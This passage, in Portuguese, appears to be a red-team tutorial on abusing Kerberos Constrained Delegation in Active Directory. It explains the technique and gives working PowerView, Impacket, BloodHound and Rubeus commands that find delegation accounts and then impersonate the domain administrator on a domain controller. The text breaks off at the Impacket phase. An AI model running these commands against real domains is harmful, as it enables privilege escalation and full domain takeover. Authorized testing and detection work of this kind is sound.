Explorando Abuso de Delegação Restrita

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Visão Geral

A Delegação Restrita do Kerberos (KCD) é um recurso do Active Directory do Windows que permite que um serviço se passe por um usuário e acesse serviços específicos em nome dele. Os alvos da delegação são definidos no atributo msDS-AllowedToDelegateTo. Quando um atacante compromete uma conta configurada com Delegação Restrita (particularmente com a flag TRUSTED_TO_AUTH_FOR_DELEGATION), ele pode usar as extensões de protocolo Kerberos S4U2self e S4U2proxy para solicitar tickets de serviço como qualquer usuário (incluindo Administradores de Domínio) para os serviços delegados. Se o alvo da delegação incluir serviços como CIFS, HTTP ou LDAP em um Controlador de Domínio, isso resulta no comprometimento total do domínio. A extensão S4U2self solicita um ticket encaminhável em nome de qualquer usuário para o serviço comprometido, e S4U2proxy encaminha esse ticket para o alvo de delegação permitido.

Quando Usar

• Ao realizar testes de segurança autorizados que envolvam a exploração de abuso de delegação restrita
• Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
• Ao conduzir exercícios de equipe vermelha ou engajamentos de testes de penetração
• Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas

Pré-requisitos

• Familiaridade com conceitos e ferramentas de red teaming
• Acesso a um ambiente de teste ou laboratório para execução segura
• Python 3.8+ com as dependências necessárias instaladas
• Autorização apropriada para quaisquer atividades de teste

Objetivos

• Enumerar contas com Delegação Restrita configurada no domínio
• Identificar alvos de delegação (msDS-AllowedToDelegateTo) para serviços de alto valor
• Explorar S4U2self e S4U2proxy para se passar por Administrador de Domínio
• Obter tickets de serviço para serviços delegados como um usuário privilegiado
• Acessar serviços delegados (CIFS, LDAP, HTTP) em hosts de destino
• Escalar para Administrador de Domínio através de abuso de Delegação Restrita

Mapeamento MITRE ATT&CK

• T1558.003 - Roubar ou Forjar Tickets Kerberos: Kerberoasting
• T1550.003 - Usar Material de Autenticação Alternativo: Pass the Ticket
• T1134.001 - Manipulação de Token de Acesso: Impersonação/Roubo de Token
• T1078.002 - Contas Válidas: Contas de Domínio
• T1021 - Serviços Remotos

Fluxo de Trabalho

Fase 1: Enumerar Delegação Restrita

1. Encontre contas com Delegação Restrita usando PowerView:

   # Find users with Constrained Delegation
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
   
   # Find computers with Constrained Delegation
   Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
   
   # Using AD Module
   Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
   

2. Usando Impacket findDelegation.py:

   findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   

3. Usando BloodHound CE:

   MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
   RETURN c.name, c.allowedtodelegate
   

4. Verifique a flag TRUSTED_TO_AUTH_FOR_DELEGATION (transição de protocolo):

   # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
   

Fase 2: Explorar com Rubeus (Windows)

1. Se você tiver a senha ou hash da conta de delegação restrita:

   # Request TGT for the constrained delegation account
   Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
   
   # Perform S4U2self + S4U2proxy to impersonate administrator
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /ptt
   
   # Alternative: specify alternate service name
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
   

2. Solicitação TGT combinada e S4U em um único comando:

   Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
   

Fase 3: Explorar com Impacket (Linux)

1. Solicitar ticket de serviço via extensões de protocolo S4U:

…